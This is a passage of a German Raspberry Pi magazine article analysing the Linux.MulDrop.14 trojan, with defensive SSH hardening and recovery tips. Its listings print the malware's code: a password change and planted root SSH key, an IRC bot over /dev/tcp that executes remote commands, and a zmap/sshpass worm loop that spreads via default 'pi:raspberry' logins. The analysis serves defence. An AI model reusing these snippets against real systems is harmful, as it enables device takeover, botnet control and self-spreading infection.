Der Raspberry Pi im Visier von Trojanern

Minensklave

Im nächsten Schritt ändert der Trojaner das Passwort – ab diesem Zeitpunkt können Sie sich nicht mehr auf dem System anmelden. Danach trägt das Programm einen eigenen SSH-Schlüssel ein und fügt den Google-Nameserver unter der IP *8.8.8.8 zum System hinzu. Dann kümmert sich das Skript wieder um die Konkurrenz: Ein Mining-Tool für diverse Crypto-Währungen und abermals Kaiten sollen vom System verschwinden (Listing 3).

Listing 3

 

[...]
usermod -p \$6\$vGkGPKUr\$heqvOhUzvbQ66Nb0JGCijh/81sG1WACcZgzPn8A0Wn58hHXWqy5yOgTlYJEbOjhkHD0MRsAkfJgjU/ioCYDeR1 pi
mkdir -p /root/.ssh
echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCl0kIN33IJISIufmqpqg54D6s4J0L7XV2kep0rNzgY1S1IdE8HDef7z1ipBVuGTygGsq+x4yVnxveGshVP48YmicQHJMCIljmn6Po0RMC48qihm/9ytoEYtkKkeiTR02c6DyIcDnX3QdlSmEqPqSNRQ/XDgM7qIB/VpYtAhK/7DoE8pqdoFNBU5+JlqeWYpsMO+qkHugKA5U22wEGs8xG2XyyDtrBcw10xz+M7U8Vpt0tEadeV973tXNNNpUgYGIFEsrDEAjbMkEsUw+iQmXg37EusEFjCVjBySGH3F+EQtwin3YmxbB9HRMzOIzNnXwCFaYU5JjTNnzylUBp/XB6B"  >> /root/.ssh/authorized_keys
echo "nameserver 8.8.8.8" >> /etc/resolv.conf
rm -rf /tmp/ktx*
rm -rf /tmp/cpuminer-multi
rm -rf /var/tmp/kaiten
[...]

Danach verwandelt der Trojaner das RasPi-System in einen ferngesteuerten Zombie. Per IRC verbindet sich das Programm zu einem Control-System und lädt weitere Daten herunter, die es dann wieder als Bash-Skript ausführt (Listing 4). Das bietet den Hintermännern die Möglichkeit, dem Trojaner später beliebige Funktionen hinzuzufügen. Aktuell holt sich das System einen Crypto-Miner, der im Hintergrund die Prozessorlast auf das Maximum hochtreibt. Der Raspberry Pi heizt sich dementsprechend hoch.

Listing 4

 

[...]
cat > /tmp/$BOT <<'EOFMARKER'
#!/bin/bash
SYS=`uname -a | md5sum | awk -F' ' '{print $1}'`
NICK=a${SYS:24}
while [ true ]; do
arr[0]="ix1.undernet.org"
[...]
arr[5]="Chicago.IL.US.Undernet.org"
rand=$[$RANDOM % 6]
svr=${arr[$rand]}
eval 'exec 3<>/dev/tcp/$svr/6667;'
if [[ ! "$?" -eq 0 ]] ; then
continue
fi
echo $NICK
eval 'printf "NICK $NICK\r\n" >&3;'
if [[ ! "$?" -eq 0 ]] ; then
continue
fi
eval 'printf "USER user 8 * :IRC hi\r\n" >&3;'
if [[ ! "$?" -eq 0 ]] ; then
continue
fi
# Main loop
while [ true ]; do
eval "read msg_in <&3;"
if [[ ! "$?" -eq 0 ]] ; then
break
fi
if  [[ "$msg_in" =~ "PING" ]] ; then
printf "PONG %s\n" "${msg_in:5}";
eval 'printf "PONG %s\r\n" "${msg_in:5}" >&3;'
if [[ ! "$?" -eq 0 ]] ; then
break
fi
sleep 1
eval 'printf "JOIN #biret\r\n" >&3;'
if [[ ! "$?" -eq 0 ]] ; then
break
fi
elif [[ "$msg_in" =~ "PRIVMSG" ]] ; then
privmsg_h=$(echo $msg_in| cut -d':' -f 3)
privmsg_data=$(echo $msg_in| cut -d':' -f 4)
privmsg_nick=$(echo $msg_in| cut -d':' -f 2 | cut -d'!' -f 1)
hash=`echo $privmsg_data | base64 -d -i | md5sum | awk -F' ' '{print $1}'`
sign=`echo $privmsg_h | base64 -d -i | openssl rsautl -verify -inkey /tmp/public.pem -pubin`
if [[ "$sign" == "$hash" ]] ; then
CMD=`echo $privmsg_data | base64 -d -i`
RES=`bash -c "$CMD" | base64 -w 0`
eval 'printf "PRIVMSG $privmsg_nick :$RES\r\n" >&3;'
if [[ ! "$?" -eq 0 ]] ; then
break
[...]

Den Abschluss bildet dann eine Routine zur viralen Verbreitung der Malware. Das Skript installiert über die Paketverwaltung den sehr leistungsfähigen Netzwerkscanner Zmap [5] und fragt bei jedem Durchlauf 100 000 IP-Adressen auf einem SSH-Server ab. Antwortet dieser, versucht sich das Programm mit pi:raspberry einzuloggen, und das Spiel geht von Neuem los (Listing 5).

Listing 5

 

[...]
apt-get update -y --force-yes
apt-get install zmap sshpass -y --force-yes
while [ true ]; do
FILE=`mktemp`
zmap -p 22 -o $FILE -n 100000
killall ssh scp
for IP in `cat $FILE`
do
sshpass -praspberry scp -o ConnectTimeout=6 -o NumberOfPasswordPrompts=1 -o PreferredAuthentications=password -o UserKnownHostsFile=/dev/null -o StrictHostKeyChecking=no $MYSELF pi@$IP:/tmp/$NAME  && echo $IP >> /opt/.r && sshpass -praspberry ssh pi@$IP -o ConnectTimeout=6 -o NumberOfPasswordPrompts=1 -o PreferredAuthentications=password -o UserKnownHostsFile=/dev/null -o StrictHostKeyChecking=no "cd /tmp && chmod +x $NAME && bash -c ./$NAME" &
sshpass -praspberryraspberry993311 scp -o ConnectTimeout=6 -o NumberOfPasswordPrompts=1 -o PreferredAuthentications=password -o UserKnownHostsFile=/dev/null -o StrictHostKeyChecking=no $MYSELF pi@$IP:/tmp/$NAME  && echo $IP >> /opt/.r && sshpass -praspberryraspberry993311 ssh pi@$IP -o ConnectTimeout=6 -o NumberOfPasswordPrompts=1 -o PreferredAuthentications=password -o UserKnownHostsFile=/dev/null -o StrictHostKeyChecking=no "cd /tmp && chmod +x $NAME && bash -c ./$NAME" &
done
[...]

Schutz gegen Trojaner

Das Risiko, sich den Trojaner einzufangen, dürfte in der Praxis relativ gering bleiben: Der Trojaner muss lokal im Netz ausgeführt werden und auf einen RasPi mit aktiviertem SSH-Server und Standardlogin treffen. Das Risiko steigt jedoch mit der Größe des Netzwerks. Zu Hause dürften die meisten Nutzer die Kontrolle über die Anzahl und Verwendung der im Netz aktiven Rechner haben. In einem Universitätsnetz oder im Firmen-LAN droht schon alleine aufgrund der Anzahl der Teilnehmer mehr Gefahr.

Eine Infektion zu Hause über das Internet wäre nur dann möglich, wenn Sie als Anwender Port 22 vom Router auf einen RasPi weiterleiten und die Zugangsdaten nicht ändern. In diesem Fall dürfte es allerdings in der Tat nicht lange dauern, bis Linux.MulDrop.14 zuschlägt. Nutzen Sie den RasPi als SSH-Gateway, sollten Sie daher auf jeden Fall das Passwort des Nutzers pi mittels passwd ändern. Sie verringern das Risiko eines erfolgreichen Angriffs mit dieser simplen Maßnahme deutlich.

Des Weiteren müssen Sie nicht zwangsläufig Port 22 für SSH nutzen. Indem Sie beispielsweise Port 622 des Routers an den Port 22 des Raspberry Pi durchleiten, laufen die Angriffe (und viele andere Portscans) ins Leere (Abbildung 2). Beim Verbindungsaufbau aus dem Internet müssen Sie dann nur im SSH-Client den entsprechenden Port angeben, unter Linux etwa mit folgendem Kommando:

$ ssh -p 622 pi@Host
Abbildung 2: Der SSH-Server des Raspberry Pi muss nicht zwingend auf Port 22 zu erreichen sein.

Alternativ dazu ändern Sie direkt im SSH-Server des Raspberry Pi den vom Dienst genutzten Port. Die Einstellung finden Sie gleich am Anfang der für den Server verantwortlichen Konfigurationsdatei /etc/ssh/sshd_config (Listing 6), die Port-Vorgabe ändern Sie mit einem beliebigen Texteditor. Danach müssen Sie die Konfiguration mittels sudo service ssh reload neu einlesen. Zusätzlich könnten Sie hier auch gleich dem Nutzer pi verbieten, sich via SSH per Passwort anzumelden (ab Zeile 7).

Listing 6

 

# Package generated configuration file
# See the sshd_config(5) manpage for details
# What ports, IPs and protocols we listen for
Port 22
[...]
# Raspbian Standard-Benutzer aussperren
Match user pi
PasswordAuthentication no

Zuvor sollten Sie jedoch einen neuen Nutzer speziell für den SSH-Einsatz anlegen und ihm dieselben Rechte einräumen wie dem Nutzer pi (Listing 7). Ansonsten sperren Sie sich aus Ihrem eigenen System aus. Danach arbeiten Sie dann mit dem individuell benannten User. Um sich jetzt unautorisierten Zutritt zu verschaffen, müsste man das RasPi-System nun schon per Brute-Force angreifen oder andere Schwachstellen in den Netzwerkfunktionen des Betriebssystems ausnutzen.

Listing 7

 

$ sudo adduser Name
$ for GROUP in $(groups pi | sed 's/.*:\spi//'); do sudo adduser Name $GROUP; done

Was tun, wenn's brennt?

Hersteller von Antivirensoftware versprechen, Rechner vor Computerviren und Malware zu schützen und bei Befall diesen von der Schadsoftware zu befreien. Diesen Versprechen sollten Sie nicht allzu viel Vertrauen schenken: Sollten Sie eine Infektion bemerken, etwa weil Sie sich nicht mehr einloggen können und die Betriebstemperatur des RasPi merklich ansteigt, dann machen Sie besser reinen Tisch.

Stecken Sie den betroffenen RasPi vom Strom ab und nehmen Sie die Speicherkarte heraus. Auf einem Linux-Computer können Sie einen Blick auf das System werfen. Finden Sie die angesprochenen Manipulationen in /opt/, in der /etc/rc.local und in der /etc/hosts, dann haben Sie sich Linux.MulDrop.14 eingefangen.

In diesem Fall sollten Sie das System komplett neu aufsetzen, nachdem Sie mit Bedacht wichtige Daten gesichert haben – hier gilt das Motto "better safe than sorry". Bevor Sie das System dann wieder ans Netz hängen, befolgen Sie bitte die Tipps aus dem Abschnitt "Schutz gegen Trojaner".

Diesen Artikel als PDF kaufen

Express-Kauf als PDF

Umfang: 5 Heftseiten

Preis € 0,99
(inkl. 19% MwSt.)

Raspberry Pi Geek kaufen

Einzelne Ausgabe
 
Abonnements
 
TABLET & SMARTPHONE APPS
Bald erhältlich
Get it on Google Play

Deutschland

Ähnliche Artikel

  • Quellcode managen mit Git und dem Raspberry Pi

    Mit wenigen Handgriffen zum Git-Hoster: Die dezentrale Arbeitsweise von Git erleichtert in Kombination mit der Netzwerkfähigkeit des RasPi das Verwalten von Quellcode.

  • Editorial RPG 03/2015

    Als die Raspberry Pi Foundation das überarbeitete Modell B+ präsentierte, waren durchaus einige RasPi-Fans ein wenig enttäuscht. Die vier USB-Ports und die stabilere Stromversorgung kamen vielen Bastlern gelegen, doch die RasPi-Community wartete sehnlich auf ein Modell mit mehr Leistung. Der unerwartet schnell präsentierte Raspberry Pi 2 versöhnt die Gemeinschaft nun wieder.

  • Heimautomation mit dem Raspberry Pi

    Mit geringem finanziellem Aufwand und ein wenig Bastelei bringen Sie dem RasPi bei, morgens das Licht einzuschalten, den Kaffee zu kochen und Ihren Lieblingsfilm im Fernseher abzuspielen.

  • Raspberry-Pi-Klon SolidRun HummingBoard aus Israel

    Mit Quad-Core-Power, mehr Speicher und schnelleren Interfaces soll das HummingBoard dem Raspberry Pi Konkurrenz machen. Trotz weitgehender Kompatibilität der Schnittstellen steckt der Teufel hier, wie so oft, im Detail.

  • PHP auf dem Raspberry Pi

    Es muss nicht immer Python sein: Auch per PHP lassen sich auf dem RasPi die GPIO-Pins ansteuern, was das Ganze für Webapps interessant macht.

Aktuelle Ausgabe

06/2019
Home Improvement

Diese Ausgabe als PDF kaufen

Preis € 9,99
(inkl. 19% MwSt.)

Stellenmarkt

Neuigkeiten

  • Verschlungene Pfade

    Mit Schleifen, Fallunterscheidungen und Funktionen programmieren Sie komplexe Skripte auf einfache und elegante Weise.

  • Extrem genau

    Mit einem A/D-Wandler messen Sie bei Bedarf Spannungen. Der MCP3424 macht dabei konstruktionsbedingt eine gute Figur.

  • Verbindungsaufnahme

  • Süßer Wecker

    Dem RasPi fehlen sowohl eine Echtzeituhr als auch ein BIOS, ein zeitgesteuertes Wecken erfordert also Zusatzkomponenten. Hier springt der Witty Pi Mini in die Bresche, ein µHAT von UUGear.

  • Windows to go

    Das Aufsetzen zuverlässiger und sicherer Remote-Desktop-Lösungen erfordert einiges Know-how. Die RasPi-basierte Pinbox von Pintexx reduziert den Konfigurationsaufwand auf ein Minimum.

  • Prima Klima

    In Museen ist es Pflicht, zu Hause nützlich: das permanente Prüfen und zentrale Erfassen der Feuchtigkeit und Temperatur in Räumen.

  • Auf einen Blick

    Ein maßgeschneiderter Infoscreen auf RasPi-Basis mit stromsparendem E-Ink-Display zeigt Termine, Bilder, Mitteilungen und Wetterinformationen an.

  • Sanft berührt

    Mit einem RasPi und dem Controllermodul PiXtend lassen sich mühelos Roboterarme ansteuern und deren Bewegung automatisieren.

  • Popcorn-Kino

    Mit Kodi 18.0 unterstützt LibreELEC 9.0 jetzt die von vielen Streaming-Diensten genutzte DRM-Verschlüsselung. Die Integration von Netflix, Amazon und Co. erfordert allerdings Handarbeit.

  • So nah und doch so fern

    Der RasPi kommt häufig als Server oder Steuerrechner für spezielle Zwecke zum Einsatz. Mit Anydesk erhalten Sie dazu eine Steuersoftware mit grafischer Oberfläche.